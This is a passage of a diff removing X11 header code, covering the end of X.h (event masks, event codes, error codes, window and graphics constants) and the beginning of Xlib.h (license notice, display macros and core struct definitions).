-#define Button4MotionMask (1L<<11)
-#define Button5MotionMask (1L<<12)
-#define ButtonMotionMask (1L<<13)
-#define KeymapStateMask (1L<<14)
-#define ExposureMask (1L<<15)
-#define VisibilityChangeMask (1L<<16)
-#define StructureNotifyMask (1L<<17)
-#define ResizeRedirectMask (1L<<18)
-#define SubstructureNotifyMask (1L<<19)
-#define SubstructureRedirectMask (1L<<20)
-#define FocusChangeMask (1L<<21)
-#define PropertyChangeMask (1L<<22)
-#define ColormapChangeMask (1L<<23)
-#define OwnerGrabButtonMask (1L<<24)
-
-/* Event names. Used in "type" field in XEvent structures. Not to be
-confused with event masks above. They start from 2 because 0 and 1
-are reserved in the protocol for errors and replies. */
-
-#define KeyPress 2
-#define KeyRelease 3
-#define ButtonPress 4
-#define ButtonRelease 5
-#define MotionNotify 6
-#define EnterNotify 7
-#define LeaveNotify 8
-#define FocusIn 9
-#define FocusOut 10
-#define KeymapNotify 11
-#define Expose 12
-#define GraphicsExpose 13
-#define NoExpose 14
-#define VisibilityNotify 15
-#define CreateNotify 16
-#define DestroyNotify 17
-#define UnmapNotify 18
-#define MapNotify 19
-#define MapRequest 20
-#define ReparentNotify 21
-#define ConfigureNotify 22
-#define ConfigureRequest 23
-#define GravityNotify 24
-#define ResizeRequest 25
-#define CirculateNotify 26
-#define CirculateRequest 27
-#define PropertyNotify 28
-#define SelectionClear 29
-#define SelectionRequest 30
-#define SelectionNotify 31
-#define ColormapNotify 32
-#define ClientMessage 33
-#define MappingNotify 34
-#define LASTEvent 35 /* must be bigger than any event # */
-
-
-/* Key masks. Used as modifiers to GrabButton and GrabKey, results of QueryPointer,
- state in various key-, mouse-, and button-related events. */
-
-#define ShiftMask (1<<0)
-#define LockMask (1<<1)
-#define ControlMask (1<<2)
-#define Mod1Mask (1<<3)
-#define Mod2Mask (1<<4)
-#define Mod3Mask (1<<5)
-#define Mod4Mask (1<<6)
-#define Mod5Mask (1<<7)
-
-/* modifier names. Used to build a SetModifierMapping request or
- to read a GetModifierMapping request. These correspond to the
- masks defined above. */
-#define ShiftMapIndex 0
-#define LockMapIndex 1
-#define ControlMapIndex 2
-#define Mod1MapIndex 3
-#define Mod2MapIndex 4
-#define Mod3MapIndex 5
-#define Mod4MapIndex 6
-#define Mod5MapIndex 7
-
-
-/* button masks. Used in same manner as Key masks above. Not to be confused
- with button names below. */
-
-#define Button1Mask (1<<8)
-#define Button2Mask (1<<9)
-#define Button3Mask (1<<10)
-#define Button4Mask (1<<11)
-#define Button5Mask (1<<12)
-
-#define AnyModifier (1<<15) /* used in GrabButton, GrabKey */
-
-
-/* button names. Used as arguments to GrabButton and as detail in ButtonPress
- and ButtonRelease events. Not to be confused with button masks above.
- Note that 0 is already defined above as "AnyButton". */
-
-#define Button1 1
-#define Button2 2
-#define Button3 3
-#define Button4 4
-#define Button5 5
-
-/* Notify modes */
-
-#define NotifyNormal 0
-#define NotifyGrab 1
-#define NotifyUngrab 2
-#define NotifyWhileGrabbed 3
-
-#define NotifyHint 1 /* for MotionNotify events */
-
-/* Notify detail */
-
-#define NotifyAncestor 0
-#define NotifyVirtual 1
-#define NotifyInferior 2
-#define NotifyNonlinear 3
-#define NotifyNonlinearVirtual 4
-#define NotifyPointer 5
-#define NotifyPointerRoot 6
-#define NotifyDetailNone 7
-
-/* Visibility notify */
-
-#define VisibilityUnobscured 0
-#define VisibilityPartiallyObscured 1
-#define VisibilityFullyObscured 2
-
-/* Circulation request */
-
-#define PlaceOnTop 0
-#define PlaceOnBottom 1
-
-/* protocol families */
-
-#define FamilyInternet 0
-#define FamilyDECnet 1
-#define FamilyChaos 2
-
-/* Property notification */
-
-#define PropertyNewValue 0
-#define PropertyDelete 1
-
-/* Color Map notification */
-
-#define ColormapUninstalled 0
-#define ColormapInstalled 1
-
-/* GrabPointer, GrabButton, GrabKeyboard, GrabKey Modes */
-
-#define GrabModeSync 0
-#define GrabModeAsync 1
-
-/* GrabPointer, GrabKeyboard reply status */
-
-#define GrabSuccess 0
-#define AlreadyGrabbed 1
-#define GrabInvalidTime 2
-#define GrabNotViewable 3
-#define GrabFrozen 4
-
-/* AllowEvents modes */
-
-#define AsyncPointer 0
-#define SyncPointer 1
-#define ReplayPointer 2
-#define AsyncKeyboard 3
-#define SyncKeyboard 4
-#define ReplayKeyboard 5
-#define AsyncBoth 6
-#define SyncBoth 7
-
-/* Used in SetInputFocus, GetInputFocus */
-
-#define RevertToNone (int)None
-#define RevertToPointerRoot (int)PointerRoot
-#define RevertToParent 2
-
-/*****************************************************************
- * ERROR CODES
- *****************************************************************/
-
-#define Success 0 /* everything's okay */
-#define BadRequest 1 /* bad request code */
-#define BadValue 2 /* int parameter out of range */
-#define BadWindow 3 /* parameter not a Window */
-#define BadPixmap 4 /* parameter not a Pixmap */
-#define BadAtom 5 /* parameter not an Atom */
-#define BadCursor 6 /* parameter not a Cursor */
-#define BadFont 7 /* parameter not a Font */
-#define BadMatch 8 /* parameter mismatch */
-#define BadDrawable 9 /* parameter not a Pixmap or Window */
-#define BadAccess 10 /* depending on context:
- - key/button already grabbed
- - attempt to free an illegal
- cmap entry
- - attempt to store into a read-only
- color map entry.
- - attempt to modify the access control
- list from other than the local host.
- */
-#define BadAlloc 11 /* insufficient resources */
-#define BadColor 12 /* no such colormap */
-#define BadGC 13 /* parameter not a GC */
-#define BadIDChoice 14 /* choice not in range or already used */
-#define BadName 15 /* font or color name doesn't exist */
-#define BadLength 16 /* Request length incorrect */
-#define BadImplementation 17 /* server is defective */
-
-#define FirstExtensionError 128
-#define LastExtensionError 255
-
-/*****************************************************************
- * WINDOW DEFINITIONS
- *****************************************************************/
-
-/* Window classes used by CreateWindow */
-/* Note that CopyFromParent is already defined as 0 above */
-
-#define InputOutput 1
-#define InputOnly 2
-
-/* Window attributes for CreateWindow and ChangeWindowAttributes */
-
-#define CWBackPixmap (1L<<0)
-#define CWBackPixel (1L<<1)
-#define CWBorderPixmap (1L<<2)
-#define CWBorderPixel (1L<<3)
-#define CWBitGravity (1L<<4)
-#define CWWinGravity (1L<<5)
-#define CWBackingStore (1L<<6)
-#define CWBackingPlanes (1L<<7)
-#define CWBackingPixel (1L<<8)
-#define CWOverrideRedirect (1L<<9)
-#define CWSaveUnder (1L<<10)
-#define CWEventMask (1L<<11)
-#define CWDontPropagate (1L<<12)
-#define CWColormap (1L<<13)
-#define CWCursor (1L<<14)
-
-/* ConfigureWindow structure */
-
-#define CWX (1<<0)
-#define CWY (1<<1)
-#define CWWidth (1<<2)
-#define CWHeight (1<<3)
-#define CWBorderWidth (1<<4)
-#define CWSibling (1<<5)
-#define CWStackMode (1<<6)
-
-
-/* Bit Gravity */
-
-#define ForgetGravity 0
-#define NorthWestGravity 1
-#define NorthGravity 2
-#define NorthEastGravity 3
-#define WestGravity 4
-#define CenterGravity 5
-#define EastGravity 6
-#define SouthWestGravity 7
-#define SouthGravity 8
-#define SouthEastGravity 9
-#define StaticGravity 10
-
-/* Window gravity + bit gravity above */
-
-#define UnmapGravity 0
-
-/* Used in CreateWindow for backing-store hint */
-
-#define NotUseful 0
-#define WhenMapped 1
-#define Always 2
-
-/* Used in GetWindowAttributes reply */
-
-#define IsUnmapped 0
-#define IsUnviewable 1
-#define IsViewable 2
-
-/* Used in ChangeSaveSet */
-
-#define SetModeInsert 0
-#define SetModeDelete 1
-
-/* Used in ChangeCloseDownMode */
-
-#define DestroyAll 0
-#define RetainPermanent 1
-#define RetainTemporary 2
-
-/* Window stacking method (in configureWindow) */
-
-#define Above 0
-#define Below 1
-#define TopIf 2
-#define BottomIf 3
-#define Opposite 4
-
-/* Circulation direction */
-
-#define RaiseLowest 0
-#define LowerHighest 1
-
-/* Property modes */
-
-#define PropModeReplace 0
-#define PropModePrepend 1
-#define PropModeAppend 2
-
-/*****************************************************************
- * GRAPHICS DEFINITIONS
- *****************************************************************/
-
-/* graphics functions, as in GC.alu */
-
-#define GXclear 0x0 /* 0 */
-#define GXand 0x1 /* src AND dst */
-#define GXandReverse 0x2 /* src AND NOT dst */
-#define GXcopy 0x3 /* src */
-#define GXandInverted 0x4 /* NOT src AND dst */
-#define GXnoop 0x5 /* dst */
-#define GXxor 0x6 /* src XOR dst */
-#define GXor 0x7 /* src OR dst */
-#define GXnor 0x8 /* NOT src AND NOT dst */
-#define GXequiv 0x9 /* NOT src XOR dst */
-#define GXinvert 0xa /* NOT dst */
-#define GXorReverse 0xb /* src OR NOT dst */
-#define GXcopyInverted 0xc /* NOT src */
-#define GXorInverted 0xd /* NOT src OR dst */
-#define GXnand 0xe /* NOT src OR NOT dst */
-#define GXset 0xf /* 1 */
-
-/* LineStyle */
-
-#define LineSolid 0
-#define LineOnOffDash 1
-#define LineDoubleDash 2
-
-/* capStyle */
-
-#define CapNotLast 0
-#define CapButt 1
-#define CapRound 2
-#define CapProjecting 3
-
-/* joinStyle */
-
-#define JoinMiter 0
-#define JoinRound 1
-#define JoinBevel 2
-
-/* fillStyle */
-
-#define FillSolid 0
-#define FillTiled 1
-#define FillStippled 2
-#define FillOpaqueStippled 3
-
-/* fillRule */
-
-#define EvenOddRule 0
-#define WindingRule 1
-
-/* subwindow mode */
-
-#define ClipByChildren 0
-#define IncludeInferiors 1
-
-/* SetClipRectangles ordering */
-
-#define Unsorted 0
-#define YSorted 1
-#define YXSorted 2
-#define YXBanded 3
-
-/* CoordinateMode for drawing routines */
-
-#define CoordModeOrigin 0 /* relative to the origin */
-#define CoordModePrevious 1 /* relative to previous point */
-
-/* Polygon shapes */
-
-#define Complex 0 /* paths may intersect */
-#define Nonconvex 1 /* no paths intersect, but not convex */
-#define Convex 2 /* wholly convex */
-
-/* Arc modes for PolyFillArc */
-
-#define ArcChord 0 /* join endpoints of arc */
-#define ArcPieSlice 1 /* join endpoints to center of arc */
-
-/* GC components: masks used in CreateGC, CopyGC, ChangeGC, OR'ed into
- GC.stateChanges */
-
-#define GCFunction (1L<<0)
-#define GCPlaneMask (1L<<1)
-#define GCForeground (1L<<2)
-#define GCBackground (1L<<3)
-#define GCLineWidth (1L<<4)
-#define GCLineStyle (1L<<5)
-#define GCCapStyle (1L<<6)
-#define GCJoinStyle (1L<<7)
-#define GCFillStyle (1L<<8)
-#define GCFillRule (1L<<9)
-#define GCTile (1L<<10)
-#define GCStipple (1L<<11)
-#define GCTileStipXOrigin (1L<<12)
-#define GCTileStipYOrigin (1L<<13)
-#define GCFont (1L<<14)
-#define GCSubwindowMode (1L<<15)
-#define GCGraphicsExposures (1L<<16)
-#define GCClipXOrigin (1L<<17)
-#define GCClipYOrigin (1L<<18)
-#define GCClipMask (1L<<19)
-#define GCDashOffset (1L<<20)
-#define GCDashList (1L<<21)
-#define GCArcMode (1L<<22)
-
-#define GCLastBit 22
-/*****************************************************************
- * FONTS
- *****************************************************************/
-
-/* used in QueryFont -- draw direction */
-
-#define FontLeftToRight 0
-#define FontRightToLeft 1
-
-#define FontChange 255
-
-/*****************************************************************
- * IMAGING
- *****************************************************************/
-
-/* ImageFormat -- PutImage, GetImage */
-
-#define XYBitmap 0 /* depth 1, XYFormat */
-#define XYPixmap 1 /* depth == drawable depth */
-#define ZPixmap 2 /* depth == drawable depth */
-
-/*****************************************************************
- * COLOR MAP STUFF
- *****************************************************************/
-
-/* For CreateColormap */
-
-#define AllocNone 0 /* create map with no entries */
-#define AllocAll 1 /* allocate entire map writeable */
-
-
-/* Flags used in StoreNamedColor, StoreColors */
-
-#define DoRed (1<<0)
-#define DoGreen (1<<1)
-#define DoBlue (1<<2)
-
-/*****************************************************************
- * CURSOR STUFF
- *****************************************************************/
-
-/* QueryBestSize Class */
-
-#define CursorShape 0 /* largest size that can be displayed */
-#define TileShape 1 /* size tiled fastest */
-#define StippleShape 2 /* size stippled fastest */
-
-/*****************************************************************
- * KEYBOARD/POINTER STUFF
- *****************************************************************/
-
-#define AutoRepeatModeOff 0
-#define AutoRepeatModeOn 1
-#define AutoRepeatModeDefault 2
-
-#define LedModeOff 0
-#define LedModeOn 1
-
-/* masks for ChangeKeyboardControl */
-
-#define KBKeyClickPercent (1L<<0)
-#define KBBellPercent (1L<<1)
-#define KBBellPitch (1L<<2)
-#define KBBellDuration (1L<<3)
-#define KBLed (1L<<4)
-#define KBLedMode (1L<<5)
-#define KBKey (1L<<6)
-#define KBAutoRepeatMode (1L<<7)
-
-#define MappingSuccess 0
-#define MappingBusy 1
-#define MappingFailed 2
-
-#define MappingModifier 0
-#define MappingKeyboard 1
-#define MappingPointer 2
-
-/*****************************************************************
- * SCREEN SAVER STUFF
- *****************************************************************/
-
-#define DontPreferBlanking 0
-#define PreferBlanking 1
-#define DefaultBlanking 2
-
-#define DisableScreenSaver 0
-#define DisableScreenInterval 0
-
-#define DontAllowExposures 0
-#define AllowExposures 1
-#define DefaultExposures 2
-
-/* for ForceScreenSaver */
-
-#define ScreenSaverReset 0
-#define ScreenSaverActive 1
-
-/*****************************************************************
- * HOSTS AND CONNECTIONS
- *****************************************************************/
-
-/* for ChangeHosts */
-
-#define HostInsert 0
-#define HostDelete 1
-
-/* for ChangeAccessControl */
-
-#define EnableAccess 1
-#define DisableAccess 0
-
-/* Display classes used in opening the connection
- * Note that the statically allocated ones are even numbered and the
- * dynamically changeable ones are odd numbered */
-
-#define StaticGray 0
-#define GrayScale 1
-#define StaticColor 2
-#define PseudoColor 3
-#define TrueColor 4
-#define DirectColor 5
-
-
-/* Byte order used in imageByteOrder and bitmapBitOrder */
-
-#define LSBFirst 0
-#define MSBFirst 1
-
-#endif /* X_H */
-
-
-/* $Xorg: Xlib.h,v 1.6 2001/02/09 02:03:38 xorgcvs Exp $ */
-/*
-
-Copyright 1985, 1986, 1987, 1991, 1998 The Open Group
-
-Permission to use, copy, modify, distribute, and sell this software and its
-documentation for any purpose is hereby granted without fee, provided that
-the above copyright notice appear in all copies and that both that
-copyright notice and this permission notice appear in supporting
-documentation.
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
-AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
-CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
-Except as contained in this notice, the name of The Open Group shall not be
-used in advertising or otherwise to promote the sale, use or other dealings
-in this Software without prior written authorization from The Open Group.
-
-*/
-/* $XFree86: xc/lib/X11/Xlib.h,v 3.23 2002/05/31 18:45:42 dawes Exp $ */
-
-
-/*
- * Xlib.h - Header definition and support file for the C subroutine
- * interface library (Xlib) to the X Window System Protocol (V11).
- * Structures and symbols starting with "_" are private to the library.
- */
-#ifndef _XLIB_H_
-#define _XLIB_H_
-
-#define XlibSpecificationRelease 6
-
-#ifdef USG
-#ifndef __TYPES__
-#include <sys/types.h> /* forgot to protect it... */
-#define __TYPES__
-#endif /* __TYPES__ */
-#else
-#if defined(_POSIX_SOURCE) && defined(MOTOROLA)
-#undef _POSIX_SOURCE
-#include <sys/types.h>
-#define _POSIX_SOURCE
-#else
-#include <sys/types.h>
-#endif
-#endif /* USG */
-
-#if 0
-#include <X11/X.h>
-
-/* applications should not depend on these two headers being included! */
-#include <X11/Xfuncproto.h>
-#include <X11/Xosdefs.h>
-
-#endif /* if 0 */
-
-#ifndef X_WCHAR
-#ifdef X_NOT_STDC_ENV
-#ifndef SCO324
-#ifndef ISC
-#define X_WCHAR
-#endif
-#endif
-#endif
-#endif
-
-#ifndef X_WCHAR
-#include <stddef.h>
-#else
-#ifdef __UNIXOS2__
-#include <stdlib.h>
-#else
-/* replace this with #include or typedef appropriate for your system */
-typedef unsigned long wchar_t;
-#endif
-#endif
-
-#if defined(ISC) && defined(USE_XMBTOWC)
-#define wctomb(a,b) _Xwctomb(a,b)
-#define mblen(a,b) _Xmblen(a,b)
-#ifndef USE_XWCHAR_STRING
-#define mbtowc(a,b,c) _Xmbtowc(a,b,c)
-#endif
-#endif
-
-/* API mentioning "UTF8" or "utf8" is an XFree86 extension, introduced in
- November 2000. Its presence is indicated through the following macro. */
-#define X_HAVE_UTF8_STRING 1
-
-typedef char *XPointer;
-
-#define Bool int
-#define Status int
-#define True 1
-#define False 0
-
-#define QueuedAlready 0
-#define QueuedAfterReading 1
-#define QueuedAfterFlush 2
-
-#define ConnectionNumber(dpy) (((_XPrivDisplay)dpy)->fd)
-#define RootWindow(dpy, scr) (ScreenOfDisplay(dpy,scr)->root)
-#define DefaultScreen(dpy) (((_XPrivDisplay)dpy)->default_screen)
-#define DefaultRootWindow(dpy) (ScreenOfDisplay(dpy,DefaultScreen(dpy))->root)
-#define DefaultVisual(dpy, scr) (ScreenOfDisplay(dpy,scr)->root_visual)
-#define DefaultGC(dpy, scr) (ScreenOfDisplay(dpy,scr)->default_gc)
-#define BlackPixel(dpy, scr) (ScreenOfDisplay(dpy,scr)->black_pixel)
-#define WhitePixel(dpy, scr) (ScreenOfDisplay(dpy,scr)->white_pixel)
-#define AllPlanes ((unsigned long)~0L)
-#define QLength(dpy) (((_XPrivDisplay)dpy)->qlen)
-#define DisplayWidth(dpy, scr) (ScreenOfDisplay(dpy,scr)->width)
-#define DisplayHeight(dpy, scr) (ScreenOfDisplay(dpy,scr)->height)
-#define DisplayWidthMM(dpy, scr)(ScreenOfDisplay(dpy,scr)->mwidth)
-#define DisplayHeightMM(dpy, scr)(ScreenOfDisplay(dpy,scr)->mheight)
-#define DisplayPlanes(dpy, scr) (ScreenOfDisplay(dpy,scr)->root_depth)
-#define DisplayCells(dpy, scr) (DefaultVisual(dpy,scr)->map_entries)
-#define ScreenCount(dpy) (((_XPrivDisplay)dpy)->nscreens)
-#define ServerVendor(dpy) (((_XPrivDisplay)dpy)->vendor)
-#define ProtocolVersion(dpy) (((_XPrivDisplay)dpy)->proto_major_version)
-#define ProtocolRevision(dpy) (((_XPrivDisplay)dpy)->proto_minor_version)
-#define VendorRelease(dpy) (((_XPrivDisplay)dpy)->release)
-#define DisplayString(dpy) (((_XPrivDisplay)dpy)->display_name)
-#define DefaultDepth(dpy, scr) (ScreenOfDisplay(dpy,scr)->root_depth)
-#define DefaultColormap(dpy, scr)(ScreenOfDisplay(dpy,scr)->cmap)
-#define BitmapUnit(dpy) (((_XPrivDisplay)dpy)->bitmap_unit)
-#define BitmapBitOrder(dpy) (((_XPrivDisplay)dpy)->bitmap_bit_order)
-#define BitmapPad(dpy) (((_XPrivDisplay)dpy)->bitmap_pad)
-#define ImageByteOrder(dpy) (((_XPrivDisplay)dpy)->byte_order)
-#ifdef CRAY /* unable to get WORD64 without pulling in other symbols */
-#define NextRequest(dpy) XNextRequest(dpy)
-#else
-#define NextRequest(dpy) (((_XPrivDisplay)dpy)->request + 1)
-#endif
-#define LastKnownRequestProcessed(dpy) (((_XPrivDisplay)dpy)->last_request_read)
-
-/* macros for screen oriented applications (toolkit) */
-#define ScreenOfDisplay(dpy, scr)(&((_XPrivDisplay)dpy)->screens[scr])
-#define DefaultScreenOfDisplay(dpy) ScreenOfDisplay(dpy,DefaultScreen(dpy))
-#define DisplayOfScreen(s) ((s)->display)
-#define RootWindowOfScreen(s) ((s)->root)
-#define BlackPixelOfScreen(s) ((s)->black_pixel)
-#define WhitePixelOfScreen(s) ((s)->white_pixel)
-#define DefaultColormapOfScreen(s)((s)->cmap)
-#define DefaultDepthOfScreen(s) ((s)->root_depth)
-#define DefaultGCOfScreen(s) ((s)->default_gc)
-#define DefaultVisualOfScreen(s)((s)->root_visual)
-#define WidthOfScreen(s) ((s)->width)
-#define HeightOfScreen(s) ((s)->height)
-#define WidthMMOfScreen(s) ((s)->mwidth)
-#define HeightMMOfScreen(s) ((s)->mheight)
-#define PlanesOfScreen(s) ((s)->root_depth)
-#define CellsOfScreen(s) (DefaultVisualOfScreen((s))->map_entries)
-#define MinCmapsOfScreen(s) ((s)->min_maps)
-#define MaxCmapsOfScreen(s) ((s)->max_maps)
-#define DoesSaveUnders(s) ((s)->save_unders)
-#define DoesBackingStore(s) ((s)->backing_store)
-#define EventMaskOfScreen(s) ((s)->root_input_mask)
-
-/*
- * Extensions need a way to hang private data on some structures.
- */
-typedef struct _XExtData {
- int number; /* number returned by XRegisterExtension */
- struct _XExtData *next; /* next item on list of data for structure */
- int (*free_private)( /* called to free private storage */
-#if NeedFunctionPrototypes
- struct _XExtData *extension
-#endif
- );
- XPointer private_data; /* data private to this extension. */
-} XExtData;
-
-/*
- * This file contains structures used by the extension mechanism.
- */
-typedef struct { /* public to extension, cannot be changed */
- int extension; /* extension number */
- int major_opcode; /* major op-code assigned by server */
- int first_event; /* first event number for the extension */
- int first_error; /* first error number for the extension */
-} XExtCodes;
-
-/*
- * Data structure for retrieving info about pixmap formats.
- */
-
-typedef struct {
- int depth;
- int bits_per_pixel;
- int scanline_pad;
-} XPixmapFormatValues;
-
-
-/*
- * Data structure for setting graphics context.
- */
-typedef struct {
- int function; /* logical operation */
- unsigned long plane_mask;/* plane mask */
- unsigned long foreground;/* foreground pixel */
- unsigned long background;/* background pixel */
- int line_width; /* line width */
- int line_style; /* LineSolid, LineOnOffDash, LineDoubleDash */
- int cap_style; /* CapNotLast, CapButt,
- CapRound, CapProjecting */
- int join_style; /* JoinMiter, JoinRound, JoinBevel */
- int fill_style; /* FillSolid, FillTiled,
- FillStippled, FillOpaeueStippled */
- int fill_rule; /* EvenOddRule, WindingRule */
- int arc_mode; /* ArcChord, ArcPieSlice */
- Pixmap tile; /* tile pixmap for tiling operations */
- Pixmap stipple; /* stipple 1 plane pixmap for stipping */
- int ts_x_origin; /* offset for tile or stipple operations */
- int ts_y_origin;
- Font font; /* default text font for text operations */
- int subwindow_mode; /* ClipByChildren, IncludeInferiors */
- Bool graphics_exposures;/* boolean, should exposures be generated */
- int clip_x_origin; /* origin for clipping */
- int clip_y_origin;
- Pixmap clip_mask; /* bitmap clipping; other calls for rects */
- int dash_offset; /* patterned/dashed line information */
- char dashes;
-} XGCValues;
-
-/*
- * Graphics context. The contents of this structure are implementation
- * dependent. A GC should be treated as opaque by application code.
- */
-
-typedef struct _XGC
-#ifdef XLIB_ILLEGAL_ACCESS
-{
- XExtData *ext_data; /* hook for extension to hang data */
- GContext gid; /* protocol ID for graphics context */
- /* there is more to this structure, but it is private to Xlib */
-}
-#endif
-*GC;
-
-/*
- * Visual structure; contains information about colormapping possible.
- */
-typedef struct {
- XExtData *ext_data; /* hook for extension to hang data */
- VisualID visualid; /* visual id of this visual */
-#if defined(__cplusplus) || defined(c_plusplus)
- int c_class; /* C++ class of screen (monochrome, etc.) */
-#else
- int class; /* class of screen (monochrome, etc.) */
-#endif
- unsigned long red_mask, green_mask, blue_mask; /* mask values */
- int bits_per_rgb; /* log base 2 of distinct color values */
- int map_entries; /* color map entries */
-} Visual;
-
-/*
- * Depth structure; contains information for each possible depth.
- */
-typedef struct {
- int depth; /* this depth (Z) of the depth */
- int nvisuals; /* number of Visual types at this depth */
- Visual *visuals; /* list of visuals possible at this depth */
-} Depth;
-
-/*
- * Information about the screen. The contents of this structure are
- * implementation dependent. A Screen should be treated as opaque
- * by application code.
- */
-
-struct _XDisplay; /* Forward declare before use for C++ */
-
-typedef struct {
- XExtData *ext_data; /* hook for extension to hang data */
- struct _XDisplay *display;/* back pointer to display structure */
- Window root; /* Root window id. */
- int width, height; /* width and height of screen */
- int mwidth, mheight; /* width and height of in millimeters */
- int ndepths; /* number of depths possible */
- Depth *depths; /* list of allowable depths on the screen */
- int root_depth; /* bits per pixel */
- Visual *root_visual; /* root visual */
- GC default_gc; /* GC for the root root visual */
- Colormap cmap; /* default color map */
- unsigned long white_pixel;
- unsigned long black_pixel; /* White and Black pixel values */
- int max_maps, min_maps; /* max and min color maps */
- int backing_store; /* Never, WhenMapped, Always */
- Bool save_unders;
- long root_input_mask; /* initial root input mask */
-} Screen;
-
-/*
- * Format structure; describes ZFormat data the screen will understand.
- */
-typedef struct {
- XExtData *ext_data; /* hook for extension to hang data */
- int depth; /* depth of this image format */
- int bits_per_pixel; /* bits/pixel at this depth */
- int scanline_pad; /* scanline must padded to this multiple */
-} ScreenFormat;
-
-/*
- * Data structure for setting window attributes.
- */
-typedef struct {
- Pixmap background_pixmap; /* background or None or ParentRelative */
- unsigned long background_pixel; /* background pixel */
- Pixmap border_pixmap; /* border of the window */
- unsigned long border_pixel; /* border pixel value */
- int bit_gravity; /* one of bit gravity values */
- int win_gravity; /* one of the window gravity values */
- int backing_store; /* NotUseful, WhenMapped, Always */
- unsigned long backing_planes;/* planes to be preseved if possible */
- unsigned long backing_pixel;/* value to use in restoring planes */
- Bool save_under; /* should bits under be saved? (popups) */
- long event_mask; /* set of events that should be saved */
- long do_not_propagate_mask; /* set of events that should not propagate */
- Bool override_redirect; /* boolean value for override-redirect */
- Colormap colormap; /* color map to be associated with window */
- Cursor cursor; /* cursor to be displayed (or None) */
-} XSetWindowAttributes;
-
-typedef struct {
- int x, y; /* location of window */
- int width, height; /* width and height of window */
- int border_width; /* border width of window */
- int depth; /* depth of window */
- Visual *visual; /* the associated visual structure */
- Window root; /* root of screen containing window */
-#if defined(__cplusplus) || defined(c_plusplus)
- int c_class; /* C++ InputOutput, InputOnly*/
-#else
- int class; /* InputOutput, InputOnly*/
-#endif
- int bit_gravity; /* one of bit gravity values */
- int win_gravity; /* one of the window gravity values */
- int backing_store; /* NotUseful, WhenMapped, Always */
- unsigned long backing_planes;/* planes to be preserved if possible */
- unsigned long backing_pixel;/* value to be used when restoring planes */
- Bool save_under; /* boolean, should bits under be saved? */
- Colormap colormap; /* color map to be associated with window */
- Bool map_installed; /* boolean, is color map currently installed*/
- int map_state; /* IsUnmapped, IsUnviewable, IsViewable */
- long all_event_masks; /* set of events all people have interest in*/
- long your_event_mask; /* my event mask */
- long do_not_propagate_mask; /* set of events that should not propagate */
- Bool override_redirect; /* boolean value for override-redirect */
- Screen *screen; /* back pointer to correct screen */
-} XWindowAttributes;
-
-/*
- * Data structure for host setting; getting routines.
- *
- */
-
-typedef struct {
- int family; /* for example FamilyInternet */
- int length; /* length of address, in bytes */
- char *address; /* pointer to where to find the bytes */
-} XHostAddress;
-
-/*
- * Data structure for "image" data, used by image manipulation routines.
- */
-typedef struct _XImage {
- int width, height; /* size of image */
- int xoffset; /* number of pixels offset in X direction */
- int format; /* XYBitmap, XYPixmap, ZPixmap */
- char *data; /* pointer to image data */
- int byte_order; /* data byte order, LSBFirst, MSBFirst */
- int bitmap_unit; /* quant. of scanline 8, 16, 32 */
- int bitmap_bit_order; /* LSBFirst, MSBFirst */
- int bitmap_pad; /* 8, 16, 32 either XY or ZPixmap */
- int depth; /* depth of image */
- int bytes_per_line; /* accelarator to next line */
- int bits_per_pixel; /* bits per pixel (ZPixmap) */
- unsigned long red_mask; /* bits in z arrangment */
- unsigned long green_mask;
- unsigned long blue_mask;
- XPointer obdata; /* hook for the object routines to hang on */
- struct funcs { /* image manipulation routines */
-#if NeedFunctionPrototypes
- struct _XImage *(*create_image)(
- struct _XDisplay* /* display */,
- Visual* /* visual */,
- unsigned int /* depth */,
- int /* format */,
- int /* offset */,
- char* /* data */,
- unsigned int /* width */,
- unsigned int /* height */,
- int /* bitmap_pad */,
- int /* bytes_per_line */);
- int (*destroy_image) (struct _XImage *);
- unsigned long (*get_pixel) (struct _XImage *, int, int);
- int (*put_pixel) (struct _XImage *, int, int, unsigned long);
- struct _XImage *(*sub_image)(struct _XImage *, int, int, unsigned int, unsigned int);
- int (*add_pixel) (struct _XImage *, long);
-#else
- struct _XImage *(*create_image)();
- int (*destroy_image)();
- unsigned long (*get_pixel)();
- int (*put_pixel)();
- struct _XImage *(*sub_image)();
- int (*add_pixel)();
-#endif
- } f;
-} XImage;
-
-/*
- * Data structure for XReconfigureWindow
- */
-typedef struct {
- int x, y;
- int width, height;
- int border_width;
- Window sibling;
- int stack_mode;
-} XWindowChanges;
-
-/*
- * Data structure used by color operations
- */
-typedef struct {
- unsigned long pixel;
- unsigned short red, green, blue;
- char flags; /* do_red, do_green, do_blue */
- char pad;
-} XColor;
-
-/*
- * Data structures for graphics operations. On most machines, these are
- * congruent with the wire protocol structures, so reformatting the data
- * can be avoided on these architectures.
- */
-typedef struct {
- short x1, y1, x2, y2;
-} XSegment;
-
-typedef struct {
- short x, y;
-} XPoint;
-
-typedef struct {
- short x, y;
- unsigned short width, height;
-} XRectangle;
-
-typedef struct {
- short x, y;
- unsigned short width, height;
- short angle1, angle2;
-} XArc;
-
-
-/* Data structure for XChangeKeyboardControl */
-
-typedef struct {
- int key_click_percent;
- int bell_percent;
- int bell_pitch;
- int bell_duration;
- int led;
- int led_mode;
- int key;
- int auto_repeat_mode; /* On, Off, Default */
-} XKeyboardControl;
-
-/* Data structure for XGetKeyboardControl */
-
-typedef struct {
- int key_click_percent;
- int bell_percent;
- unsigned int bell_pitch, bell_duration;
- unsigned long led_mask;
- int global_auto_repeat;
- char auto_repeats[32];
-} XKeyboardState;
-
-/* Data structure for XGetMotionEvents. */
-
-typedef struct {
- Time time;
- short x, y;
-} XTimeCoord;
-
-/* Data structure for X{Set,Get}ModifierMapping */
-
-typedef struct {
- int max_keypermod; /* The server's max # of keys per modifier */
- KeyCode *modifiermap; /* An 8 by max_keypermod array of modifiers */
-} XModifierKeymap;
-
-
-/*
- * Display datatype maintaining display specific data.
- * The contents of this structure are implementation dependent.
- * A Display should be treated as opaque by application code.
- */
